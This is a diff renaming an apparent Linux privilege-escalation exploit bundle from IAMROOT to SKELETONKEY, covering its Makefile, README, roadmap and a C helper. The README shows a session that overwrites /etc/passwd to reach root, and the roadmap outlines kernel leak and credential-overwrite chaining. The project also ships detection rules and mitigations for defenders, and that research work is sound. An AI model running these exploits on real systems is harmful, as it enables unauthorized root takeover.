DP_DIR := modules/dirty_pipe_cve_2022_0847 DP_DIR := modules/dirty_pipe_cve_2022_0847
DP_SRCS := $(DP_DIR)/iamroot_modules.c DP_SRCS := $(DP_DIR)/skeletonkey_modules.c
DP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS)) DP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS))
# Family: entrybleed (single-CVE family, x86_64 only) # Family: entrybleed (single-CVE family, x86_64 only)
EB_DIR := modules/entrybleed_cve_2023_0458 EB_DIR := modules/entrybleed_cve_2023_0458
EB_SRCS := $(EB_DIR)/iamroot_modules.c EB_SRCS := $(EB_DIR)/skeletonkey_modules.c
EB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS)) EB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS))
# Family: pwnkit (userspace polkit bug, not kernel) # Family: pwnkit (userspace polkit bug, not kernel)
PK_DIR := modules/pwnkit_cve_2021_4034 PK_DIR := modules/pwnkit_cve_2021_4034
PK_SRCS := $(PK_DIR)/iamroot_modules.c PK_SRCS := $(PK_DIR)/skeletonkey_modules.c
PK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PK_SRCS)) PK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PK_SRCS))
# Family: nf_tables (CVE-2024-1086) # Family: nf_tables (CVE-2024-1086)
NFT_DIR := modules/nf_tables_cve_2024_1086 NFT_DIR := modules/nf_tables_cve_2024_1086
NFT_SRCS := $(NFT_DIR)/iamroot_modules.c NFT_SRCS := $(NFT_DIR)/skeletonkey_modules.c
NFT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFT_SRCS)) NFT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFT_SRCS))
# Family: overlayfs (CVE-2021-3493) # Family: overlayfs (CVE-2021-3493)
OVL_DIR := modules/overlayfs_cve_2021_3493 OVL_DIR := modules/overlayfs_cve_2021_3493
OVL_SRCS := $(OVL_DIR)/iamroot_modules.c OVL_SRCS := $(OVL_DIR)/skeletonkey_modules.c
OVL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OVL_SRCS)) OVL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OVL_SRCS))
# Family: cls_route4 (CVE-2022-2588) # Family: cls_route4 (CVE-2022-2588)
CR4_DIR := modules/cls_route4_cve_2022_2588 CR4_DIR := modules/cls_route4_cve_2022_2588
CR4_SRCS := $(CR4_DIR)/iamroot_modules.c CR4_SRCS := $(CR4_DIR)/skeletonkey_modules.c
CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS)) CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS))
# Family: dirty_cow (CVE-2016-5195) — requires -pthread # Family: dirty_cow (CVE-2016-5195) — requires -pthread
DCOW_DIR := modules/dirty_cow_cve_2016_5195 DCOW_DIR := modules/dirty_cow_cve_2016_5195
DCOW_SRCS := $(DCOW_DIR)/iamroot_modules.c DCOW_SRCS := $(DCOW_DIR)/skeletonkey_modules.c
DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS)) DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS))
# Family: ptrace_traceme (CVE-2019-13272) # Family: ptrace_traceme (CVE-2019-13272)
PTM_DIR := modules/ptrace_traceme_cve_2019_13272 PTM_DIR := modules/ptrace_traceme_cve_2019_13272
PTM_SRCS := $(PTM_DIR)/iamroot_modules.c PTM_SRCS := $(PTM_DIR)/skeletonkey_modules.c
PTM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTM_SRCS)) PTM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTM_SRCS))
# Family: netfilter_xtcompat (CVE-2021-22555) # Family: netfilter_xtcompat (CVE-2021-22555)
NXC_DIR := modules/netfilter_xtcompat_cve_2021_22555 NXC_DIR := modules/netfilter_xtcompat_cve_2021_22555
NXC_SRCS := $(NXC_DIR)/iamroot_modules.c NXC_SRCS := $(NXC_DIR)/skeletonkey_modules.c
NXC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NXC_SRCS)) NXC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NXC_SRCS))
# Family: af_packet (CVE-2017-7308) # Family: af_packet (CVE-2017-7308)
AFP_DIR := modules/af_packet_cve_2017_7308 AFP_DIR := modules/af_packet_cve_2017_7308
AFP_SRCS := $(AFP_DIR)/iamroot_modules.c AFP_SRCS := $(AFP_DIR)/skeletonkey_modules.c
AFP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP_SRCS)) AFP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP_SRCS))
# Family: fuse_legacy (CVE-2022-0185) # Family: fuse_legacy (CVE-2022-0185)
FUL_DIR := modules/fuse_legacy_cve_2022_0185 FUL_DIR := modules/fuse_legacy_cve_2022_0185
FUL_SRCS := $(FUL_DIR)/iamroot_modules.c FUL_SRCS := $(FUL_DIR)/skeletonkey_modules.c
FUL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FUL_SRCS)) FUL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FUL_SRCS))
# Family: stackrot (CVE-2023-3269) # Family: stackrot (CVE-2023-3269)
STR_DIR := modules/stackrot_cve_2023_3269 STR_DIR := modules/stackrot_cve_2023_3269
STR_SRCS := $(STR_DIR)/iamroot_modules.c STR_SRCS := $(STR_DIR)/skeletonkey_modules.c
STR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(STR_SRCS)) STR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(STR_SRCS))
# Family: af_packet2 (CVE-2020-14386) — same family as af_packet # Family: af_packet2 (CVE-2020-14386) — same family as af_packet
AFP2_DIR := modules/af_packet2_cve_2020_14386 AFP2_DIR := modules/af_packet2_cve_2020_14386
AFP2_SRCS := $(AFP2_DIR)/iamroot_modules.c AFP2_SRCS := $(AFP2_DIR)/skeletonkey_modules.c
AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS)) AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS))
# Family: cgroup_release_agent (CVE-2022-0492) # Family: cgroup_release_agent (CVE-2022-0492)
CRA_DIR := modules/cgroup_release_agent_cve_2022_0492 CRA_DIR := modules/cgroup_release_agent_cve_2022_0492
CRA_SRCS := $(CRA_DIR)/iamroot_modules.c CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS)) CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family # Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386 OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
OSU_SRCS := $(OSU_DIR)/iamroot_modules.c OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS)) OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
# Family: nft_set_uaf (CVE-2023-32233) # Family: nft_set_uaf (CVE-2023-32233)
NSU_DIR := modules/nft_set_uaf_cve_2023_32233 NSU_DIR := modules/nft_set_uaf_cve_2023_32233
NSU_SRCS := $(NSU_DIR)/iamroot_modules.c NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
NSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NSU_SRCS)) NSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NSU_SRCS))
# Family: af_unix_gc (CVE-2023-4622) # Family: af_unix_gc (CVE-2023-4622)
AUG_DIR := modules/af_unix_gc_cve_2023_4622 AUG_DIR := modules/af_unix_gc_cve_2023_4622
AUG_SRCS := $(AUG_DIR)/iamroot_modules.c AUG_SRCS := $(AUG_DIR)/skeletonkey_modules.c
AUG_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AUG_SRCS)) AUG_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AUG_SRCS))
# Family: nft_fwd_dup (CVE-2022-25636) # Family: nft_fwd_dup (CVE-2022-25636)
NFD_DIR := modules/nft_fwd_dup_cve_2022_25636 NFD_DIR := modules/nft_fwd_dup_cve_2022_25636
NFD_SRCS := $(NFD_DIR)/iamroot_modules.c NFD_SRCS := $(NFD_DIR)/skeletonkey_modules.c
NFD_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFD_SRCS)) NFD_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFD_SRCS))
# Family: nft_payload (CVE-2023-0179) # Family: nft_payload (CVE-2023-0179)
NPL_DIR := modules/nft_payload_cve_2023_0179 NPL_DIR := modules/nft_payload_cve_2023_0179
NPL_SRCS := $(NPL_DIR)/iamroot_modules.c NPL_SRCS := $(NPL_DIR)/skeletonkey_modules.c
NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS)) NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
# Top-level dispatcher # Top-level dispatcher
TOP_OBJ := $(BUILD)/iamroot.o TOP_OBJ := $(BUILD)/skeletonkey.o
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS)
@@ -154,7 +154,7 @@ clean:
help: help:
@echo "Targets:" @echo "Targets:"
@echo " make build optimized iamroot binary" @echo " make build optimized skeletonkey binary"
@echo " make debug build with -O0 -g3" @echo " make debug build with -O0 -g3"
@echo " make static build a fully static binary" @echo " make static build a fully static binary"
@echo " make clean remove build artifacts" @echo " make clean remove build artifacts"
+35 -30
View File
@@ -1,4 +1,4 @@
# IAMROOT # SKELETONKEY
> A curated, actively-maintained corpus of Linux kernel LPE exploits — > A curated, actively-maintained corpus of Linux kernel LPE exploits —
> bundled with their detection signatures, patch status, and version > bundled with their detection signatures, patch status, and version
@@ -7,15 +7,20 @@
> vulnerable to, and — with explicit confirmation — gets you root. > vulnerable to, and — with explicit confirmation — gets you root.
``` ```
██╗ █████╗ ███╗ ███╗██████╗ ██████╗ ██████╗ ████████ ╔══╤══
██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ║ ● ║═══════════════════════════════════════════════════--,
██║███████║██╔████╔██║██████╔╝██║ ██║██║ ██║ ██║ ╚═════╝ `--,_
██║██╔══██║██║╚██╔╝██║██╔══██╗██║ ██║██║ ██║ ██║ `_/
██║██║ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝╚██████╔╝ ██║
╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ███████╗██╗ ██╗███████╗██╗ ███████╗████████╗ ██████╗ ███╗ ██╗██╗ ██╗███████╗██╗ ██╗
██╔════╝██║ ██╔╝██╔════╝██║ ██╔════╝╚══██╔══╝██╔═══██╗████╗ ██║██║ ██╔╝██╔════╝╚██╗ ██╔╝
███████╗█████╔╝ █████╗ ██║ █████╗ ██║ ██║ ██║██╔██╗ ██║█████╔╝ █████╗ ╚████╔╝
╚════██║██╔═██╗ ██╔══╝ ██║ ██╔══╝ ██║ ██║ ██║██║╚██╗██║██╔═██╗ ██╔══╝ ╚██╔╝
███████║██║ ██╗███████╗███████╗███████╗ ██║ ╚██████╔╝██║ ╚████║██║ ██╗███████╗ ██║
╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝ ╚═╝
``` ```
> ⚠️ **Authorized testing only.** IAMROOT is a research and red-team > ⚠️ **Authorized testing only.** SKELETONKEY is a research and red-team
> tool. By using it you assert you have explicit authorization to test > tool. By using it you assert you have explicit authorization to test
> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md). > the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
@@ -23,29 +28,29 @@
```bash ```bash
# One-shot install (x86_64 / arm64; checksum-verified) # One-shot install (x86_64 / arm64; checksum-verified)
curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
``` ```
**iamroot runs as a normal unprivileged user** — that's the whole **skeletonkey runs as a normal unprivileged user** — that's the whole
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
work without `sudo`. Only `--mitigate` and rule-file installation work without `sudo`. Only `--mitigate` and rule-file installation
write to root-owned paths. write to root-owned paths.
```bash ```bash
# What's this box vulnerable to? (no sudo) # What's this box vulnerable to? (no sudo)
iamroot --scan skeletonkey --scan
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo) # Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
iamroot --audit skeletonkey --audit
# Deploy detection rules (needs sudo to write /etc/audit/rules.d/) # Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl) # Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
sudo iamroot --mitigate copy_fail sudo skeletonkey --mitigate copy_fail
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM) # Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
./tools/iamroot-fleet-scan.sh --binary iamroot --ssh-key ~/.ssh/id_rsa hosts.txt ./tools/skeletonkey-fleet-scan.sh --binary skeletonkey --ssh-key ~/.ssh/id_rsa hosts.txt
``` ```
### Example: unprivileged → root ### Example: unprivileged → root
@@ -54,14 +59,14 @@ sudo iamroot --mitigate copy_fail
$ id $ id
uid=1000(kara) gid=1000(kara) groups=1000(kara) uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ iamroot --scan $ skeletonkey --scan
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic) [+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic)
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17) [+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1) [+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1)
[-] copy_fail not vulnerable (kernel 5.15 < introduction) [-] copy_fail not vulnerable (kernel 5.15 < introduction)
[-] dirty_cow not vulnerable (kernel ≥ 4.9) [-] dirty_cow not vulnerable (kernel ≥ 4.9)
$ iamroot --exploit dirty_pipe --i-know $ skeletonkey --exploit dirty_pipe --i-know
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable [!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache... [+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
[+] dirty_pipe: spawning su root [+] dirty_pipe: spawning su root
@@ -69,27 +74,27 @@ $ iamroot --exploit dirty_pipe --i-know
uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root)
``` ```
`iamroot --help` lists every command. See [`CVES.md`](CVES.md) for `skeletonkey --help` lists every command. See [`CVES.md`](CVES.md) for
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md) the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
for the blue-team deployment guide. for the blue-team deployment guide.
## What this is ## What this is
Most Linux LPE references are dead repos, broken PoCs, or single-CVE Most Linux LPE references are dead repos, broken PoCs, or single-CVE
deep-dives. **IAMROOT is a living corpus**: each CVE that lands here deep-dives. **SKELETONKEY is a living corpus**: each CVE that lands here
is empirically verified to work on the kernels it claims to target, is empirically verified to work on the kernels it claims to target,
CI-tested across a distro matrix, and ships with the detection CI-tested across a distro matrix, and ships with the detection
signatures defenders need to spot it in their environment. signatures defenders need to spot it in their environment.
The same binary covers offense and defense: The same binary covers offense and defense:
- `iamroot --scan` — fingerprint the host, report which bundled CVEs - `skeletonkey --scan` — fingerprint the host, report which bundled CVEs
apply, and which are blocked by patches/config/LSM apply, and which are blocked by patches/config/LSM
- `iamroot --exploit <CVE>` — run the named exploit (with `--i-know` - `skeletonkey --exploit <CVE>` — run the named exploit (with `--i-know`
authorization gate) authorization gate)
- `iamroot --detect-rules` — dump auditd / sigma / yara rules for - `skeletonkey --detect-rules` — dump auditd / sigma / yara rules for
every bundled CVE so blue teams can drop them into their tooling every bundled CVE so blue teams can drop them into their tooling
- `iamroot --mitigate` — apply temporary mitigations for CVEs the - `skeletonkey --mitigate` — apply temporary mitigations for CVEs the
host is vulnerable to (sysctl knobs, module blacklists, etc.) host is vulnerable to (sysctl knobs, module blacklists, etc.)
## Status ## Status
@@ -110,7 +115,7 @@ across the 2016 → 2026 LPE timeline:
fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup, fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
nft_payload, nft_set_uaf, stackrot. nft_payload, nft_set_uaf, stackrot.
- Detection rules ship inline (auditd / sigma / yara / falco) and - Detection rules ship inline (auditd / sigma / yara / falco) and
are exported via `iamroot --detect-rules --format=…`. are exported via `skeletonkey --detect-rules --format=…`.
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status. See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules. See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
@@ -126,7 +131,7 @@ The Linux kernel privilege-escalation space is fragmented:
- **Per-CVE single-PoC repos**: usually one author, often abandoned - **Per-CVE single-PoC repos**: usually one author, often abandoned
within months of release, often only one distro within months of release, often only one distro
IAMROOT's bet is that there's room for a single curated bundle that SKELETONKEY's bet is that there's room for a single curated bundle that
(1) actively maintains a small set of high-quality exploits across a (1) actively maintains a small set of high-quality exploits across a
multi-distro matrix, and (2) ships detection rules alongside each multi-distro matrix, and (2) ships detection rules alongside each
exploit so the same project serves both red and blue teams. exploit so the same project serves both red and blue teams.
@@ -148,16 +153,16 @@ module-loader design and how to add a new CVE.
```bash ```bash
make # build all modules make # build all modules
./iamroot --scan # what's this box vulnerable to? (no sudo) ./skeletonkey --scan # what's this box vulnerable to? (no sudo)
./iamroot --scan --json # machine-readable output for CI/SOC pipelines ./skeletonkey --scan --json # machine-readable output for CI/SOC pipelines
./iamroot --detect-rules --format=sigma > rules.yml ./skeletonkey --detect-rules --format=sigma > rules.yml
./iamroot --exploit copy_fail --i-know # actually run an exploit (starts as $USER) ./skeletonkey --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
``` ```
## Acknowledgments ## Acknowledgments
Each module credits the original CVE reporter and PoC author in its Each module credits the original CVE reporter and PoC author in its
`NOTICE.md`. IAMROOT is the bundling and bookkeeping layer; the `NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer; the
research credit belongs to the people who found the bugs. research credit belongs to the people who found the bugs.
## License ## License
+18 -18
View File
@@ -15,18 +15,18 @@ commitments.
## Phase 1 — Make the bundling real (DONE 2026-05-16) ## Phase 1 — Make the bundling real (DONE 2026-05-16)
- [x] Top-level `iamroot` dispatcher CLI (`iamroot.c`) — module - [x] Top-level `skeletonkey` dispatcher CLI (`skeletonkey.c`) — module
registry, route to module's detect/exploit registry, route to module's detect/exploit
- [x] Module interface header (`core/module.h`) — standard - [x] Module interface header (`core/module.h`) — standard
`iamroot_module` struct + `iamroot_result_t` (numerically `skeletonkey_module` struct + `skeletonkey_result_t` (numerically
aligned with copy_fail_family's `df_result_t` for zero-cost aligned with copy_fail_family's `df_result_t` for zero-cost
bridging) bridging)
- [x] `core/registry.{c,h}` — flat-array registry with `find_by_name` - [x] `core/registry.{c,h}` — flat-array registry with `find_by_name`
- [x] `modules/copy_fail_family/iamroot_modules.{c,h}` — bridge layer - [x] `modules/copy_fail_family/skeletonkey_modules.{c,h}` — bridge layer
exposing 5 modules exposing 5 modules
- [x] Top-level `Makefile` that builds all modules into one binary - [x] Top-level `Makefile` that builds all modules into one binary
- [x] Smoke test: `iamroot --scan --json` produces ingest-ready JSON; - [x] Smoke test: `skeletonkey --scan --json` produces ingest-ready JSON;
`iamroot --list` prints the module inventory `skeletonkey --list` prints the module inventory
- [ ] **Deferred to Phase 1.5**: extract `apparmor_bypass.c`, - [ ] **Deferred to Phase 1.5**: extract `apparmor_bypass.c`,
`exploit_su.c`, `common.c`, `fcrypt.c` into `core/` (shared `exploit_su.c`, `common.c`, `fcrypt.c` into `core/` (shared
across families). Phase 1 keeps them inside copy_fail_family/src/ across families). Phase 1 keeps them inside copy_fail_family/src/
@@ -35,7 +35,7 @@ commitments.
## Phase 2 — Add Dirty Pipe (CVE-2022-0847) — PARTIAL (DETECT done 2026-05-16) ## Phase 2 — Add Dirty Pipe (CVE-2022-0847) — PARTIAL (DETECT done 2026-05-16)
Public PoC, well-understood, useful for completeness — IAMROOT Public PoC, well-understood, useful for completeness — SKELETONKEY
without Dirty Pipe is incomplete as a "historical bundle." Affects without Dirty Pipe is incomplete as a "historical bundle." Affects
kernels ≤5.16.11/≤5.15.25/≤5.10.102 so coverage is older kernels ≤5.16.11/≤5.15.25/≤5.10.102 so coverage is older
deployments (worth bundling — many production boxes still run deployments (worth bundling — many production boxes still run
@@ -49,7 +49,7 @@ these).
branch-backport thresholds (5.10.102 / 5.15.25 / 5.16.11 / 5.17+) branch-backport thresholds (5.10.102 / 5.15.25 / 5.16.11 / 5.17+)
- [x] Detection rules: `auditd.rules` (splice() syscall + passwd/shadow - [x] Detection rules: `auditd.rules` (splice() syscall + passwd/shadow
watches) and `sigma.yml` (non-root modification of sensitive files) watches) and `sigma.yml` (non-root modification of sensitive files)
- [x] Registered in `iamroot --list` / `--scan` output. Verified on - [x] Registered in `skeletonkey --list` / `--scan` output. Verified on
kernel 6.12.86 → correctly reports OK (patched). kernel 6.12.86 → correctly reports OK (patched).
- [x] **Phase 2 complete (2026-05-16)**: full exploit landed. Inline - [x] **Phase 2 complete (2026-05-16)**: full exploit landed. Inline
passwd-UID and page-cache-revert helpers in the module (~80 lines). passwd-UID and page-cache-revert helpers in the module (~80 lines).
@@ -76,12 +76,12 @@ primitive** that other modules can chain. Bundled because:
- [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect - [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect
- [x] Exposed as a library helper: other modules can call - [x] Exposed as a library helper: other modules can call
`entrybleed_leak_kbase_lib()` (declared in iamroot_modules.h) `entrybleed_leak_kbase_lib()` (declared in skeletonkey_modules.h)
- [x] Wired into iamroot.c registry; `iamroot --exploit entrybleed - [x] Wired into skeletonkey.c registry; `skeletonkey --exploit entrybleed
--i-know` produces a kbase leak. Verified on kctf-mgr: --i-know` produces a kbase leak. Verified on kctf-mgr:
leaked `0xffffffff8d800000` with KASLR slide `0xc800000`. leaked `0xffffffff8d800000` with KASLR slide `0xc800000`.
- [x] `entry_SYSCALL_64` slot offset configurable via - [x] `entry_SYSCALL_64` slot offset configurable via
`IAMROOT_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x). `SKELETONKEY_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
Future enhancement: auto-detect via /boot/System.map or Future enhancement: auto-detect via /boot/System.map or
/proc/kallsyms if accessible. /proc/kallsyms if accessible.
@@ -104,28 +104,28 @@ primitive** that other modules can chain. Bundled because:
## Phase 5 — Detection signature export (DONE 2026-05-16) ## Phase 5 — Detection signature export (DONE 2026-05-16)
- [x] `iamroot --detect-rules --format=auditd` — embedded auditd rules - [x] `skeletonkey --detect-rules --format=auditd` — embedded auditd rules
across all modules (deduped — family-shared rules emit once) across all modules (deduped — family-shared rules emit once)
- [x] `iamroot --detect-rules --format=sigma` — embedded Sigma rules - [x] `skeletonkey --detect-rules --format=sigma` — embedded Sigma rules
- [x] `--format=yara` and `--format=falco` flags accepted; per-module - [x] `--format=yara` and `--format=falco` flags accepted; per-module
strings can be added when authors ship them. Currently no module strings can be added when authors ship them. Currently no module
ships YARA or Falco rules (skipped cleanly). ships YARA or Falco rules (skipped cleanly).
- [x] `struct iamroot_module` gained `detect_auditd`, `detect_sigma`, - [x] `struct skeletonkey_module` gained `detect_auditd`, `detect_sigma`,
`detect_yara`, `detect_falco` fields — each NULL or pointer to `detect_yara`, `detect_falco` fields — each NULL or pointer to
embedded C string. Self-contained binary, no data-dir install needed. embedded C string. Self-contained binary, no data-dir install needed.
- [ ] Sample SOC playbook in `docs/DETECTION_PLAYBOOK.md` — followup - [ ] Sample SOC playbook in `docs/DETECTION_PLAYBOOK.md` — followup
## Phase 6 — Mitigation mode (PARTIAL — copy_fail_family bridged 2026-05-16) ## Phase 6 — Mitigation mode (PARTIAL — copy_fail_family bridged 2026-05-16)
- [x] copy_fail_family: `iamroot --mitigate copy_fail` (or any family - [x] copy_fail_family: `skeletonkey --mitigate copy_fail` (or any family
member) blacklists algif_aead + esp4 + esp6 + rxrpc, sets member) blacklists algif_aead + esp4 + esp6 + rxrpc, sets
`kernel.apparmor_restrict_unprivileged_userns=1`, drops page `kernel.apparmor_restrict_unprivileged_userns=1`, drops page
cache. Bridged from existing DIRTYFAIL `mitigate_apply()`. cache. Bridged from existing DIRTYFAIL `mitigate_apply()`.
- [x] copy_fail_family: `iamroot --cleanup <name>` routes by visible - [x] copy_fail_family: `skeletonkey --cleanup <name>` routes by visible
state: if `/etc/modprobe.d/dirtyfail-mitigations.conf` exists → state: if `/etc/modprobe.d/dirtyfail-mitigations.conf` exists →
`mitigate_revert()`; else evict /etc/passwd page cache. Heuristic `mitigate_revert()`; else evict /etc/passwd page cache. Heuristic
sufficient for common usage patterns. sufficient for common usage patterns.
- [x] dirty_pipe: `iamroot --cleanup dirty_pipe` evicts /etc/passwd - [x] dirty_pipe: `skeletonkey --cleanup dirty_pipe` evicts /etc/passwd
(already landed in Phase 2 complete). (already landed in Phase 2 complete).
- [ ] dirty_pipe `--mitigate`: only real fix is "upgrade your kernel"; - [ ] dirty_pipe `--mitigate`: only real fix is "upgrade your kernel";
no automated mitigation possible. Document and skip. no automated mitigation possible. Document and skip.
@@ -178,7 +178,7 @@ cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
modprobe_path-or-cred-rewrite stage on at least one tracked kernel. modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
None requires fresh research — each has a public reference exploit; None requires fresh research — each has a public reference exploit;
the work is porting the per-kernel offset dance into a portable the work is porting the per-kernel offset dance into a portable
shape compatible with IAMROOT's "no-fabricated-offsets" rule (most shape compatible with SKELETONKEY's "no-fabricated-offsets" rule (most
likely as an env-var override table per distro+kernel, with offset likely as an env-var override table per distro+kernel, with offset
auto-resolve via System.map / kallsyms when accessible). auto-resolve via System.map / kallsyms when accessible).
@@ -190,7 +190,7 @@ race window makes it inherently low-yield.
## Non-goals ## Non-goals
- **No 0-day shipment.** Everything in IAMROOT is post-patch. - **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
- **No automated mass-targeting.** No host-list mode. No automatic - **No automated mass-targeting.** No host-list mode. No automatic
pivoting. pivoting.
- **No persistence beyond `--exploit-backdoor`'s - **No persistence beyond `--exploit-backdoor`'s
+25 -25
View File
@@ -1,5 +1,5 @@
/* /*
* IAMROOT — shared finisher helpers * SKELETONKEY — shared finisher helpers
* *
* See finisher.h for the pattern split (A: modprobe_path overwrite, * See finisher.h for the pattern split (A: modprobe_path overwrite,
* B: current->cred->uid). * B: current->cred->uid).
@@ -30,7 +30,7 @@ static int write_file(const char *path, const char *content, mode_t mode)
return 0; return 0;
} }
void iamroot_finisher_print_offset_help(const char *module_name) void skeletonkey_finisher_print_offset_help(const char *module_name)
{ {
fprintf(stderr, fprintf(stderr,
"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n" "[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
@@ -38,7 +38,7 @@ void iamroot_finisher_print_offset_help(const char *module_name)
" To populate them on this host, choose ONE of:\n" " To populate them on this host, choose ONE of:\n"
"\n" "\n"
" 1) Environment override (one-shot, no host changes):\n" " 1) Environment override (one-shot, no host changes):\n"
" IAMROOT_MODPROBE_PATH=0x... iamroot --exploit %s --i-know --full-chain\n" " SKELETONKEY_MODPROBE_PATH=0x... skeletonkey --exploit %s --i-know --full-chain\n"
"\n" "\n"
" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n" " 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
